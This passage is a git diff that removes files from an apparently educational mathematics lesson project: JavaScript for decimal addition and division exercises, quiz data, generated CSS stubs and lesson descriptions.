-    drawComment(1,10*columnWidth+10,'Expand');
-    drawTotal(2,50+9*columnWidth,true,9);
-    doPhase(1);
-};
-
-function phase2(){
-    //sum columns
-    operand1 = placeValue(op1);
-    operand2 = placeValue(op2);
-    op1_whole = operand1[0];
-    op1_decimal = operand1[1];
-    op2_whole = operand2[0];
-    op2_decimal = operand2[1];
-    //add leading and trailing zeroes as necessary
-    if(op1_whole.length > op2_whole.length){
-        //add leading zeroes to op2
-        whole = op1_whole.length;
-        for(i=0;i<op1_whole.length-op2_whole.length;i++){
-            op2_whole.unshift(0);
-        };
-    }else if (op1_whole.length< op2_whole.length) {
-        //add leading zeroes to op1
-        whole = op2_whole.length;
-        for(i=0;i<op2_whole.length-op1_whole.length;i++){
-            op1_whole.unshift(0);
-        };
-    }else{
-        whole = op1_whole.length;
-    };
-    if(op1_decimal.length > op2_decimal.length){
-        //add trailing zeroes to op2
-        dcml = op1_decimal.length;
-        for(i=0;i<op1_decimal.length-op2_decimal.length;i++){
-            op2_decimal.push(0);
-        };
-    }else if(op1_decimal.length < op2_decimal.length){
-        //add trailing zeroes to op1
-        dcml = op2_decimal.length;
-        for(i=0;i<op2_decimal.length-op1_decimal.length;i++){
-            op1_decimal.push(0);
-        };
-    }else{
-        dcml = op1_decimal.length;
-    };
-    for(i=0;i<dcml;i++){
-        op1d = op1_decimal[i];
-        op2d = op2_decimal[i];
-        sum = parseInt(op1d)+parseInt(op2d);
-        drawNumber(3, 30+(7+i)*columnWidth, sum);
-    };
-    for(i=0;i<whole;i++){
-        op1w = op1_whole[i];
-        op2w = op2_whole[i];
-        sum = parseInt(op1w)+parseInt(op2w);
-       	drawNumber(3, 30+(i+1)*columnWidth, sum);
-    };
-    drawComment(3,10*columnWidth+20,'Sum Columns');
-    drawTotal(3,50+9*columnWidth,true,9);
-    doPhase(2);
-};
-
-function phase3(){
-    operand1 = placeValue(op1);
-    operand2 = placeValue(op2);
-    op1_whole = operand1[0];
-    op1_decimal = operand1[1];
-    op2_whole = operand2[0];
-    op2_decimal = operand2[1];
-    //add leading and trailing zeroes as necessary
-    if(op1_whole.length > op2_whole.length){
-        //add leading zeroes to op2
-        whole = op1_whole.length;
-        for(i=0;i<op1_whole.length-op2_whole.length;i++){
-            op2_whole.unshift(0);
-        };
-    }else if (op1_whole.length< op2_whole.length) {
-        //add leading zeroes to op1
-        whole = op2_whole.length;
-        for(i=0;i<op2_whole.length-op1_whole.length;i++){
-            op1_whole.unshift(0);
-        };
-    }else{
-        whole = op1_whole.length;
-    };
-    if(op1_decimal.length > op2_decimal.length){
-        //add trailing zeroes to op2
-        dcml = op1_decimal.length;
-        for(i=0;i<op1_decimal.length-op2_decimal.length;i++){
-            op2_decimal.push(0);
-        };
-    }else if(op1_decimal.length < op2_decimal.length){
-        //add trailing zeroes to op1
-        dcml = op2_decimal.length;
-        for(i=0;i<op2_decimal.length-op1_decimal.length;i++){
-            op1_decimal.push(0);
-        };
-    }else{
-        dcml = op1_decimal.length;
-    };
-    carry = 0;
-    for(i=dcml;i>0;i--){
-        op1d = op1_decimal[i-1];
-        op2d = op2_decimal[i-1];
-        sum = parseInt(op1d)+parseInt(op2d)+carry;
-        carry = 0;
-        if(sum<10){
-            drawNumber(4, 30+(6+i)*columnWidth, sum);
-        }else{
-            //we need to carry
-            drawNumber(4, 30+(6+i)*columnWidth, sum-10);
-            carry = 1;
-        };
-    };
-    for(i=whole;i>0;i--){
-        op1w = op1_whole[i-1];
-        op2w = op2_whole[i-1];
-        sum = parseInt(op1w)+parseInt(op2w)+carry;
-        carry = 0;
-        if(sum<10){
-            drawNumber(4, 30+i*columnWidth, sum);
-        }else{
-            drawNumber(4, 30+i*columnWidth, sum-10);
-            carry = 1;
-        };
-    };
-    if(carry>0){
-        drawNumber(4,0,1);
-    };
-    drawComment(4,10*columnWidth+20,'Regroup');
-};
-
-steps = [phase1,phase2,phase3];
-
-function doPhase(step){
-   $('#content')
-       .one('click',steps[step])
-};
-
-function check_answer(karma) {
-     // check that student has provided correct answer
-     // if not draw()
-     result = $('#solution').val();
-     if (result == solution) {
-        $('#content')
-           .empty()
-           .html('<h3>Congratulations! You got that one right.' +
-                'Press Start to try another.</h3>')
-     } else if (result.length > 0) {
-        message = '<p>Sorry.</p><p>    '+question+' is not '+result+'</p>'+
-               '<p>'+solution+'</p></p><p>Let me try.</p>'
-        $('#content')
-           .empty()
-           .html(message);
-        $('<canvas id="placeValue"/>')
-           .appendTo('#content');
-        draw();
-        doPhase(0);
-     };
-};
-
-function startGame(karma) {
-  $('#content')
-      .empty()
-  //build addition problem
-  op1 = getRandom(0,999999999)/1000;
-  op2 = getRandom(0,999999999)/1000;
-  question = 'Add: '+op1+' + '+op2
-  solution = op1 + op2
-  $('<div id="workArea"/>')
-      .empty()
-      .html("<p>" + question + "</p>")
-      .appendTo('#content')
-  $("<input name = 'solution' id = 'solution' value = '' type='text'/>")
-      .focus()
-      .appendTo('#content')
-  $('<canvas id="placeValue" />')
-      .appendTo('#content')
-};
-
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m05/map412m05a02/a.txt'})
-     .appendTo('#content')
-};
-
-setUpLesson(initialize, startGame);
-
diff --git a/Save_Mathematics/P4/map412m05/map412m05a02/source.txt b/Save_Mathematics/P4/map412m05/map412m05a02/source.txt
deleted file mode 100755
index 365a53a..0000000
--- a/Save_Mathematics/P4/map412m05/map412m05a02/source.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-<h1>Guided Practice: Division of a Decimal by a Whole Number</h1>
-<!--NG-->
-The computer will pose a problem involving the division of a decimal number by 
-a whole number of one or two digits. If the student gives an incorrect answer, the 
-computer will animate the solution using a place value table. 
diff --git a/Save_Mathematics/P4/map412m05/map412m05a03/a.txt b/Save_Mathematics/P4/map412m05/map412m05a03/a.txt
deleted file mode 100755
index 30e648a..0000000
--- a/Save_Mathematics/P4/map412m05/map412m05a03/a.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-<h1>
- Opportunity: Division of Decimal Numbers
-</h1>
-<!--NG-->
-<p>Requirement: Division of a whole number by a whole number of two digits or 
-more, the quotient having one decimal or more. Division of a decimal number by a 
-whole number of one figure, the quotient having two decimal numbers or more.
-<p>
- In this activity, you will have an opportunity to show what you have learned about 
-the division of decimal numbers.
-</p>
-<p>
- Press Start to begin.
-</p>
diff --git a/Save_Mathematics/P4/map412m05/map412m05a03/css/divs.css b/Save_Mathematics/P4/map412m05/map412m05a03/css/divs.css
deleted file mode 100755
index cefafb4..0000000
--- a/Save_Mathematics/P4/map412m05/map412m05a03/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:13.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m02/map412m02a01 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m02/map412m02a01/description.py
- */
diff --git a/Save_Mathematics/P4/map412m05/map412m05a03/css/lesson.css b/Save_Mathematics/P4/map412m05/map412m05a03/css/lesson.css
deleted file mode 100755
index 2dbb5ae..0000000
--- a/Save_Mathematics/P4/map412m05/map412m05a03/css/lesson.css
+++ /dev/null
@@ -1,6 +0,0 @@
-#quizArea{
-    position:relative;
-    float:left;
-    width: 100%;
-    height: 400px;
-}
diff --git a/Save_Mathematics/P4/map412m05/map412m05a03/js/lesson-karma.js b/Save_Mathematics/P4/map412m05/map412m05a03/js/lesson-karma.js
deleted file mode 100755
index fe3a61b..0000000
--- a/Save_Mathematics/P4/map412m05/map412m05a03/js/lesson-karma.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function lesson_karma() {
-    return Karma({
-image: [
-    ],
-audio: [
-    ],
-                 });
-}
diff --git a/Save_Mathematics/P4/map412m05/map412m05a03/js/lesson.js b/Save_Mathematics/P4/map412m05/map412m05a03/js/lesson.js
deleted file mode 100755
index b81678a..0000000
--- a/Save_Mathematics/P4/map412m05/map412m05a03/js/lesson.js
+++ /dev/null
@@ -1,40 +0,0 @@
-function generate_decimal(min,max) {
-  n = Math.random()*(max-min)+min;
-  ntxt = n + ' ';
-  point = ntxt.indexOf('.');
-  whole = ntxt.substring(0,point-1)
-  decimal = ntxt.substring(point+1,point+4)
-  return whole + '.' + decimal;
-};
-
-function generate_opportunity(questions){
-    //build quiz.js
-    quiztxt = '';
-    for (q=0;q<questions;q++){
-        op1 = generate_decimal(.001,999.999);
-        op2 = generate_decimal(.001,999.999);
-        quotient = (parseFloat(op1) / parseFloat(op2)).toFixed(6);
-        quiztxt = quiztxt + "{ques:'"+op1+" / "+op2+"=', ans:'"+quotient+"'},\n"
-    };
-    return quiztxt;
-};
-
-function initialize(karma) {
-    quiztxt = generate_opportunity(12);
-    url = window.location + "";
-    $('<div id="txtMain" />')
-        .load('http://localhost:8008/cgi-bin/getFile.py',
-        {'filename':'content/Mathematics/map412m05/map412m05a03/a.txt'})
-        .appendTo('#content');
-    $('<div id="workArea" />')
-        .load('http://localhost:8008/cgi-bin/writeQuiz.py',
-        {'activity':url,'text': quiztxt});
-};
-
-function startGame(karma) {
-    $('<div id="quizArea" />')
-        .appendTo('#content')
-        .jQuizMe(quiz,options)
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m05/map412m05a03/js/quiz.js b/Save_Mathematics/P4/map412m05/map412m05a03/js/quiz.js
deleted file mode 100755
index e618480..0000000
--- a/Save_Mathematics/P4/map412m05/map412m05a03/js/quiz.js
+++ /dev/null
@@ -1,24 +0,0 @@
-var quiz = {
-fill:[
-{ques:'49.354 / 26.187=', ans:'1.884676'},
-{ques:'19.922 / 79.765=', ans:'0.249759'},
-{ques:'16.079 / 79.578=', ans:'0.202053'},
-{ques:'30.794 / 54.547=', ans:'0.564541'},
-{ques:'6.625 / 1.683=', ans:'3.936423'},
-{ques:'30.511 / 87.108=', ans:'0.350266'},
-{ques:'8.503 / 59.229=', ans:'0.143561'},
-{ques:'58.858 / 85.031=', ans:'0.692195'},
-{ques:'26.798 / 47.014=', ans:'0.570000'},
-{ques:'56.637 / 94.370=', ans:'0.600159'},
-{ques:'41.504 / 72.877=', ans:'0.569508'},
-{ques:'42.185 / 85.883=', ans:'0.491192'},
-]
-};
-
-var options = {
-    random:false,
-    allRandom:false,
-    disableRestart:true,
-    disableDelete:true,
-    title: "Opportunity",}
-
diff --git a/Save_Mathematics/P4/map412m05/map412m05a03/source.txt b/Save_Mathematics/P4/map412m05/map412m05a03/source.txt
deleted file mode 100755
index 30e648a..0000000
--- a/Save_Mathematics/P4/map412m05/map412m05a03/source.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-<h1>
- Opportunity: Division of Decimal Numbers
-</h1>
-<!--NG-->
-<p>Requirement: Division of a whole number by a whole number of two digits or 
-more, the quotient having one decimal or more. Division of a decimal number by a 
-whole number of one figure, the quotient having two decimal numbers or more.
-<p>
- In this activity, you will have an opportunity to show what you have learned about 
-the division of decimal numbers.
-</p>
-<p>
- Press Start to begin.
-</p>
diff --git a/Save_Mathematics/P4/map412m06/activities.js b/Save_Mathematics/P4/map412m06/activities.js
deleted file mode 100755
index 3534c04..0000000
--- a/Save_Mathematics/P4/map412m06/activities.js
+++ /dev/null
@@ -1,7 +0,0 @@
-var activities = [
-['1','1','map4','basic','map412m06a01','blue'],
-['2','2','map4','basic','map412m06a02','blue'],
-['3','3','map4','basic','map412m06a03','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P4/map412m06/map412m06a01/a.txt b/Save_Mathematics/P4/map412m06/map412m06a01/a.txt
deleted file mode 100755
index 577088a..0000000
--- a/Save_Mathematics/P4/map412m06/map412m06a01/a.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-<h1>Introduction</h1>
-
-This activity will present several representative examples of problems involving 
-the multiplication or division of a whole number or decimal number by 
-10,100,1000,10 000.
-
-Each problem will be worked with explanation. 
diff --git a/Save_Mathematics/P4/map412m06/map412m06a01/css/divs.css b/Save_Mathematics/P4/map412m06/map412m06a01/css/divs.css
deleted file mode 100755
index 34fba3b..0000000
--- a/Save_Mathematics/P4/map412m06/map412m06a01/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:56.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m06/map412m06a01 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m06/map412m06a01/description.py
- */
diff --git a/Save_Mathematics/P4/map412m06/map412m06a01/description.py b/Save_Mathematics/P4/map412m06/map412m06a01/description.py
deleted file mode 100644
index 1afabb8..0000000
--- a/Save_Mathematics/P4/map412m06/map412m06a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map412m06a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map412m06/map412m06a01/js/lesson-karma.js b/Save_Mathematics/P4/map412m06/map412m06a01/js/lesson-karma.js
deleted file mode 100755
index b016d76..0000000
--- a/Save_Mathematics/P4/map412m06/map412m06a01/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:56.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m06/map412m06a01 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m06/map412m06a01/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m06/map412m06a01/js/lesson.js b/Save_Mathematics/P4/map412m06/map412m06a01/js/lesson.js
deleted file mode 100755
index a16ae0a..0000000
--- a/Save_Mathematics/P4/map412m06/map412m06a01/js/lesson.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m06/map412m06a01/a.txt'})
-     .appendTo('#content')
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m06/map412m06a01/lesson.js b/Save_Mathematics/P4/map412m06/map412m06a01/lesson.js
deleted file mode 100644
index 3f67091..0000000
--- a/Save_Mathematics/P4/map412m06/map412m06a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m06/map412m06a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m06/map412m06a01/source.txt b/Save_Mathematics/P4/map412m06/map412m06a01/source.txt
deleted file mode 100755
index 577088a..0000000
--- a/Save_Mathematics/P4/map412m06/map412m06a01/source.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-<h1>Introduction</h1>
-
-This activity will present several representative examples of problems involving 
-the multiplication or division of a whole number or decimal number by 
-10,100,1000,10 000.
-
-Each problem will be worked with explanation. 
diff --git a/Save_Mathematics/P4/map412m06/map412m06a02/a.txt b/Save_Mathematics/P4/map412m06/map412m06a02/a.txt
deleted file mode 100755
index 3633df7..0000000
--- a/Save_Mathematics/P4/map412m06/map412m06a02/a.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-<h1>Guided Practice: Multiplication or Division by a multiple of 10</h1>
-
-In this activity, the computer will present problems involving the multiplication 
-or division of a whole number or decimal number by 10, 100, 1000, or 10,000. If 
-the answer is incorrect, the computer will show the solution using a place table. 
diff --git a/Save_Mathematics/P4/map412m06/map412m06a02/css/divs.css b/Save_Mathematics/P4/map412m06/map412m06a02/css/divs.css
deleted file mode 100755
index f759a9a..0000000
--- a/Save_Mathematics/P4/map412m06/map412m06a02/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:56.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m06/map412m06a02 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m06/map412m06a02/description.py
- */
diff --git a/Save_Mathematics/P4/map412m06/map412m06a02/description.py b/Save_Mathematics/P4/map412m06/map412m06a02/description.py
deleted file mode 100644
index 72535d1..0000000
--- a/Save_Mathematics/P4/map412m06/map412m06a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map412m06a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map412m06/map412m06a02/js/lesson-karma.js b/Save_Mathematics/P4/map412m06/map412m06a02/js/lesson-karma.js
deleted file mode 100755
index d15a164..0000000
--- a/Save_Mathematics/P4/map412m06/map412m06a02/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:56.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m06/map412m06a02 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m06/map412m06a02/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m06/map412m06a02/js/lesson.js b/Save_Mathematics/P4/map412m06/map412m06a02/js/lesson.js
deleted file mode 100755
index b0ccd18..0000000
--- a/Save_Mathematics/P4/map412m06/map412m06a02/js/lesson.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m06/map412m06a02/a.txt'})
-     .appendTo('#content')
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m06/map412m06a02/lesson.js b/Save_Mathematics/P4/map412m06/map412m06a02/lesson.js
deleted file mode 100644
index f8c608e..0000000
--- a/Save_Mathematics/P4/map412m06/map412m06a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m06/map412m06a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m06/map412m06a02/source.txt b/Save_Mathematics/P4/map412m06/map412m06a02/source.txt
deleted file mode 100755
index 3633df7..0000000
--- a/Save_Mathematics/P4/map412m06/map412m06a02/source.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-<h1>Guided Practice: Multiplication or Division by a multiple of 10</h1>
-
-In this activity, the computer will present problems involving the multiplication 
-or division of a whole number or decimal number by 10, 100, 1000, or 10,000. If 
-the answer is incorrect, the computer will show the solution using a place table. 
diff --git a/Save_Mathematics/P4/map412m06/map412m06a03/a.txt b/Save_Mathematics/P4/map412m06/map412m06a03/a.txt
deleted file mode 100755
index 2b79a96..0000000
--- a/Save_Mathematics/P4/map412m06/map412m06a03/a.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-<h1>Opportunity: Multiplying and Dividing a Number by a Multiple of Ten</h1>
-
-In this activity, you will have an opportunity to show what you have learned about 
-multiplying and dividing a number by a multiple of ten. Press Start to begin.
diff --git a/Save_Mathematics/P4/map412m06/map412m06a03/css/divs.css b/Save_Mathematics/P4/map412m06/map412m06a03/css/divs.css
deleted file mode 100755
index 642233d..0000000
--- a/Save_Mathematics/P4/map412m06/map412m06a03/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:57.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m06/map412m06a03 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m06/map412m06a03/description.py
- */
diff --git a/Save_Mathematics/P4/map412m06/map412m06a03/description.py b/Save_Mathematics/P4/map412m06/map412m06a03/description.py
deleted file mode 100644
index a901e0c..0000000
--- a/Save_Mathematics/P4/map412m06/map412m06a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map412m06a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map412m06/map412m06a03/js/lesson-karma.js b/Save_Mathematics/P4/map412m06/map412m06a03/js/lesson-karma.js
deleted file mode 100755
index 804183b..0000000
--- a/Save_Mathematics/P4/map412m06/map412m06a03/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:57.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m06/map412m06a03 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m06/map412m06a03/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m06/map412m06a03/js/lesson.js b/Save_Mathematics/P4/map412m06/map412m06a03/js/lesson.js
deleted file mode 100755
index 34dd140..0000000
--- a/Save_Mathematics/P4/map412m06/map412m06a03/js/lesson.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m06/map412m06a03/a.txt'})
-     .appendTo('#content')
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m06/map412m06a03/lesson.js b/Save_Mathematics/P4/map412m06/map412m06a03/lesson.js
deleted file mode 100644
index a4663ce..0000000
--- a/Save_Mathematics/P4/map412m06/map412m06a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m06/map412m06a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m06/map412m06a03/source.txt b/Save_Mathematics/P4/map412m06/map412m06a03/source.txt
deleted file mode 100755
index 2b79a96..0000000
--- a/Save_Mathematics/P4/map412m06/map412m06a03/source.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-<h1>Opportunity: Multiplying and Dividing a Number by a Multiple of Ten</h1>
-
-In this activity, you will have an opportunity to show what you have learned about 
-multiplying and dividing a number by a multiple of ten. Press Start to begin.
diff --git a/Save_Mathematics/P4/map412m07/activities.js b/Save_Mathematics/P4/map412m07/activities.js
deleted file mode 100755
index 5836ecf..0000000
--- a/Save_Mathematics/P4/map412m07/activities.js
+++ /dev/null
@@ -1,7 +0,0 @@
-var activities = [
-['1','1','map4','basic','map412m07a01','blue'],
-['2','2','map4','basic','map412m07a02','blue'],
-['3','3','map4','basic','map412m07a03','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P4/map412m07/map412m07a01/a.txt b/Save_Mathematics/P4/map412m07/map412m07a01/a.txt
deleted file mode 100755
index 8f45845..0000000
--- a/Save_Mathematics/P4/map412m07/map412m07a01/a.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-<h1>Introduction: Unequal Shares</h1>
-
-
-This activity will present several representative examples of problems involving 
-unequal shares.
-
-Each problem will be worked with explanation. 
diff --git a/Save_Mathematics/P4/map412m07/map412m07a01/css/divs.css b/Save_Mathematics/P4/map412m07/map412m07a01/css/divs.css
deleted file mode 100755
index 576039a..0000000
--- a/Save_Mathematics/P4/map412m07/map412m07a01/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:57.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m07/map412m07a01 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m07/map412m07a01/description.py
- */
diff --git a/Save_Mathematics/P4/map412m07/map412m07a01/description.py b/Save_Mathematics/P4/map412m07/map412m07a01/description.py
deleted file mode 100644
index 6a598e9..0000000
--- a/Save_Mathematics/P4/map412m07/map412m07a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map412m07a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map412m07/map412m07a01/js/lesson-karma.js b/Save_Mathematics/P4/map412m07/map412m07a01/js/lesson-karma.js
deleted file mode 100755
index a1fce27..0000000
--- a/Save_Mathematics/P4/map412m07/map412m07a01/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:57.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m07/map412m07a01 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m07/map412m07a01/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m07/map412m07a01/js/lesson.js b/Save_Mathematics/P4/map412m07/map412m07a01/js/lesson.js
deleted file mode 100755
index d9f6dfa..0000000
--- a/Save_Mathematics/P4/map412m07/map412m07a01/js/lesson.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m07/map412m07a01/a.txt'})
-     .appendTo('#content')
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m07/map412m07a01/lesson.js b/Save_Mathematics/P4/map412m07/map412m07a01/lesson.js
deleted file mode 100644
index ce80c10..0000000
--- a/Save_Mathematics/P4/map412m07/map412m07a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m07/map412m07a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m07/map412m07a01/source.txt b/Save_Mathematics/P4/map412m07/map412m07a01/source.txt
deleted file mode 100755
index 8f45845..0000000
--- a/Save_Mathematics/P4/map412m07/map412m07a01/source.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-<h1>Introduction: Unequal Shares</h1>
-
-
-This activity will present several representative examples of problems involving 
-unequal shares.
-
-Each problem will be worked with explanation. 
diff --git a/Save_Mathematics/P4/map412m07/map412m07a02/a.txt b/Save_Mathematics/P4/map412m07/map412m07a02/a.txt
deleted file mode 100755
index 12632f8..0000000
--- a/Save_Mathematics/P4/map412m07/map412m07a02/a.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-<h1>Guided Practice: Unequal Shares</h1>
-
-In this activity, the computer will present problems involving unequal shares. If 
-the answer is incorrect, the computer will show the solution with an explanation. 
diff --git a/Save_Mathematics/P4/map412m07/map412m07a02/css/divs.css b/Save_Mathematics/P4/map412m07/map412m07a02/css/divs.css
deleted file mode 100755
index d5b0de6..0000000
--- a/Save_Mathematics/P4/map412m07/map412m07a02/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:57.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m07/map412m07a02 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m07/map412m07a02/description.py
- */
diff --git a/Save_Mathematics/P4/map412m07/map412m07a02/description.py b/Save_Mathematics/P4/map412m07/map412m07a02/description.py
deleted file mode 100644
index 926a4f5..0000000
--- a/Save_Mathematics/P4/map412m07/map412m07a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map412m07a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map412m07/map412m07a02/js/lesson-karma.js b/Save_Mathematics/P4/map412m07/map412m07a02/js/lesson-karma.js
deleted file mode 100755
